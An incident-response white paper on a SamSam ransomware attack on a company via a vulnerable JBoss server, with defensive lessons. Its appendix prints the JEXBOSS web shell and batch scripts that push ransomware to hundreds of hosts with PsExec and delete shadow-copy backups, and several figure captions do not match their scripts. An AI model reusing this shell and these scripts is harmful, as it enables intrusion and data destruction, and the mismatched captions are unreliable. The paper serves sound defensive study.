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KEY POINTS

 Â The targeted large scale deployment of ransomware is a threat to 
companies and individuals. 

 Â In our case study, a victim’s network came to a standstill. The 
victim opted to pay the full ransom — about $10,000 in bitcoin 
— but did not obtain the promised decryption software. This is a 
prime example that there are no guarantees when dealing with 
cyber criminals. 

 Â While there are no solutions that will prevent every attack, 
organizations should embrace multiple layers of security to 
mitigate the impact of future incidents and ensure they have 
robust backup and recovery capabilities.
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Introduction 
Over the last five years, cyber criminals have besieged individuals and companies alike with ransomware, 
which is malicious software that encrypts data and attempts to extort the victim into paying money to 
decrypt their own data. Even worse, the use of ransomware by malicious actors is increasing: the FBI has 
reported that in the first three months of 2016 alone, ransomware has cost individuals and companies 
approximately $209 million dollars. 

Cybersecurity consultants are struggling to keep pace with the constantly evolving threat including a new 
trend that significantly changed the game — the targeted large scale deployment of ransomware in victim 
environments. 

Cyber criminals have changed attack techniques and have started to use perimeter vulnerabilities to gain 
a foothold in the environment and then deploy ransomware payloads. While the victim identification 
method remains opportunistic, where the attackers scan the Internet to find vulnerable victims, what 
happens next is straight from the playbook of targeted threat actors. After identifying a victim, the threat 
actors infiltrate the victim network and perform reconnaissance on its systems. Shortly after, the attackers 
return and bring with them a toolset that allows for the wide-spread distribution of ransomware in the 
targeted environment. 

The impact can be catastrophic, in some cases crippling the organization’s ability to function. Worse, if the 
organization under attack does not have a strong Disaster Recovery Plan, it could lose all of its data unless 
the ransom is paid. Even then, there are no guarantees that the attackers will release the data. 

This paper explores a recent targeted ransomware deployment and provides lessons learned that could 
prevent your organization from being victimized by this latest ransomware trend. 
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A Targeted Ransomware Case Study
The victim became aware of the attack when users began reporting their files were encrypted and 
servers stopped functioning as expected. The following figure provides an overview of how the targeted 
ransomware deployment unfolded.

Figure 1: Anatomy of a targeted ransomware attack

The End Result
As a result of the widespread infection rate, the victim’s organization came to a standstill. The impacted 
systems included critical servers, user workstations, and file servers. The victim opted to pay the full 
ransom (~$10,000 in bitcoin) in an attempt to quickly restore business operations. The decision was 
based on the fact that the downtime due to the outage would cost exponentially more than paying the 
ransom. After paying the ransom, the TOR1 anonymized website hosting the decryption software stopped 
operating and the victim was unable to obtain the decryption software. Unfortunately, it served as a prime 
example that there are no guarantees when dealing with cyber criminals. The victim organization then 
began the long and arduous task of resuming business operations and restoring its data.

1  TOR is free software used to enable anonymous communication online. 
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Lessons Learned 
Cyber criminals continue to increase the complexity of their malware and their attack tactics. They’re 
able to identify and exploit the smallest of gaps in a victim’s security. While there are no solutions that will 
prevent every attack, organizations should embrace multiple layers of preventive measures to mitigate 
the impact of future incidents. 

The following lessons learned were common themes across the victims of these targeted ransomware 
deployments and serve to increase an organization’s security posture. 

 Â Ensure systems are continuously patched: This is especially true for external facing systems 
and services. Threat actors will look for the easiest way into environments. This means they will 
scan an environment for publicly known exploits. 

 Â Increase network segmentation: Ensure the organization’s DMZ is properly segmented from the 
rest of the environment. This can significantly lower the impact to the organization if an external 
facing system has been compromised. 

 Â Implement application white-listing on critical systems: This is especially important on 
systems in the DMZ environment. Application white-listing can limit a threat actor’s ability to 
execute malicious code on the organization’s systems. 

 Â Implement a password vault solution to manage privileged accounts: Ensure that local 
administrator passwords are unique on each system. In addition, consider forcing check-out 
policies for privileged accounts and resetting these passwords after each use. This can help 
mitigate lateral movement in the organization’s environment. 

 Â Ensure end-users do not have administrative privileges: Removing administrative privileges 
from end-users can reduce the ability for malicious files to execute on their systems and limit 
potential lateral movement to other systems in the organization’s environment. 

 Â Have a robust business continuity plan: Ensure that the organization has daily backups and 
an actionable plan in place to fully restore data and services for the most important systems and 
applications. The plan should cover how to prioritize data recovery in the event of a widespread 
issue. 
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Appendix — Technical Data

INITIAL METHOD OF COMPROMISE 

The threat actor leveraged the open source JBOSS vulnerability scanner JEXBOSS to scan the Internet for 
vulnerable JBOSS instances. JBOSS is a web application framework that can host web pages. JEXBOSS 
scans JBOSS instances for publicly known JBOSS exploits, often ones that have been published for years 
and for which patches are readily available. When the JEXBOSS scanner identified an exploit on the 
victim’s JBOSS instance, it uploaded a malicious web shell to the server. The web shell provided the threat 
actor the ability to execute remote commands on the system, which provided the threat actor direct 
access into the victim’s environment. Figure 2 provides the contents of the web shell.

<%@ page import=”java.util.*,java.io.*”%><pre><%if(request.getParameter(“ppp”) != 
null && request.getHeader(“user-agent”).equals(“jexboss”) ) { Process p = Runtime.
getRuntime().exec(request.getParameter(“ppp”)); DataInputStream dis = new DataIn-
putStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) 
{ out.println(disr); disr = dis.readLine(); } }%>

Figure 2: JEXBOSS related web shell

The victim’s JBOSS server was repeatedly scanned and compromised over the course of two weeks. On 
the third week, the threat actor accessed the web shell and began probing the system. The threat actor 
first tested the ability to write files to the server. After confirming that ability, the threat actor placed 
the legitimate Microsoft Windows Active Directory utility “csvde.exe” on the system. The “csvde.exe” 
utility provides the ability to query information stored in Active Directory, a Windows service designed 
to manage users and systems. The threat actor used “csvde.exe” to obtain a listing of all systems in the 
domain, something that played a critical role during the ransomware deployment phase.

RANSOMWARE DEPLOYMENT

The threat actor returned approximately two weeks after the reconnaissance phase. At that point, the 
threat actor was ready to begin the ransomware deployment. The threat actor first deployed tunneling 
malware to the JBOSS server. The tunneling malware allowed the threat actor to bypass firewall 
restrictions and tunnel RDP traffic to the JBOSS server. That allowed the threat actor to login to the 
system as if they were sitting directly in front of it.

The threat actor then transferred their ransomware deployment toolkit to the JBOSS server. The toolkit 
included the following items:

 Â Ransomware executable (SamSam variant)

 Â Utility capable of searching for and unlocking backup files in use

 Â Deployment scripts 

 Â List of over 350 systems in the victim environment

 Â Precomputed encryption keys for the target hosts
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The threat actor leveraged two Windows batch scripts to deploy the ransomware, encryption key, 
and backup unlock utility to the target systems. The target systems, which were identified during the 
initial reconnaissance, were listed in a file named “list.txt”. The first deployment script would copy the 
ransomware executable and a specific encryption key to the target systems. Note that for the purposes 
of this paper, the ransomware filename was modified to “samsam.exe”. In the observed compromises, 
the threat actor modified the file name for each environment. When executed, the ransomware used the 
precomputed encryption key to encrypt the files on the system.

In the same deployment script, the threat actor used the Windows “vssadmin” command to delete 
Windows backups on the local system. That tactic can increase the chances of the user paying the 
ransom because their primary backup no longer exists. Figure 3 contains the contents of the ransomware 
deployment script.

@echo off

for /f “delims=” %%a in (list.txt) do copy samsam.exe \\%%a\C$\windows\system32 && 
copy %%a_PublicKey.keyxml \\%%a\C$\windows\system32 && vssadmin delete shadows /all 
/quiet

pause

Figure 3: Script to transfer the ransomware to the list of target systems 

The threat actor leveraged a separate deployment script for the file “Sqlsrvtm1.exe”, a utility that would 
search for files with common backup extensions and determine if they were currently in use by the 
Operating System. If they were, the utility would kill the process, allowing for the encryption of the backup 
file. Figure 4 contains the contents of the deployment script used to deploy “Sqlsrvtmg1.exe” to target 
systems.

@echo off

for /f “delims=” %%a in (list.txt) do copy Sqlsrvtmg1.exe \\%%a\C$\windows\

pause

Figure 4: Script to transfer the unlock utility to the list of target systems

Once the files were transferred to the target systems, the threat actor used a separate set of scripts to 
execute the malware with PsExec. PsExec is a utility that provides the ability to execute commands or 
files on remote systems. PsExec is a common tool for threat actors to use for lateral movement and code 
execution. Each script used the same list of target systems in the file “list.txt”. The first script checked to 
see if “Sqlsrvtm1.exe” was present on the system. If it was, it would execute the utility. Figure 5 contains 
the contents of the execution script for “Sqlsrvtmg1.exe”.
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Figure 5: Script to execute the unlock utility on the list of target systems

The second script would check to see if the ransomware executable was present. If it was, it would 
execute it with the associated system’s encryption key. That started the file encryption process on the 
local system. Figure 6 contains the contents of the ransomware execution script.

@echo off

for /f “delims=” %%a in (list.txt) do ps -s \\%%a cmd.exe /c if exist C:\windows\
Sqlsrvtmg1.exe start /b C:\windows\Sqlsrvtmg1.exe

pause

Figure 6: Script to execute the ransomware on the list of target systems

CLEANUP

Once the encryption process started, the threat actor began the cleanup process. The threat actor used 
another script that leveraged PsExec to delete the ransomware executable from the target systems. The 
threat actor did not have a script that deleted “Sqlsrvtm1.exe”. Figure 7 contains the contents of the 
cleanup script used to delete the ransomware executable.

@echo off

for /f “delims=” %%a in (list.txt) do ps -s \\%%a cmd.exe /c if exist C:\windows\
system32\samsam.exe start /b C:\windows\system32\samsam.exe %%a_PublicKey.keyxml

pause

Figure 7: Script to delete the ransomware executable from the list of target systems

The threat actor had a final clean up script that leveraged the Windows “vssadmin” command to delete 
backups on the Windows systems. That command, which is common among different ransomware 
variants, was redundant with the command present in the ransomware execution script. By removing 
these local backups, it can make it difficult for companies to restore data. Figure 8 contains the contents 
of the backup deletion script.

@echo off

for /f “delims=” %%a in (list.txt) do ps -s \\%%a cmd.exe /c del C:\windows\sys-
tem32\samsam.exe

pause
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Figure 8: Script to delete backups on the list of target systems

THE RANSOM NOTE

The ransomware created HTML files on the infected systems that provided instructions on how to decrypt 
the files. The victim had the option to decrypt the contents of one system for 1.5 Bitcoins, a digital 
currency, or decrypt all systems for 22 bitcoins. For this ransomware variant, victims were instructed 
to visit a TOR website and download the decryption software. Figure 9 contains a screen shot of the 
ransomware HTML document.

@echo off

for /f “delims=” %%a in (list.txt) do ps -s \\%%a cmd.exe /c vssadmin delete shad-
ows /all /quiet

pause

Figure 9: Screen capture of the ransomware note
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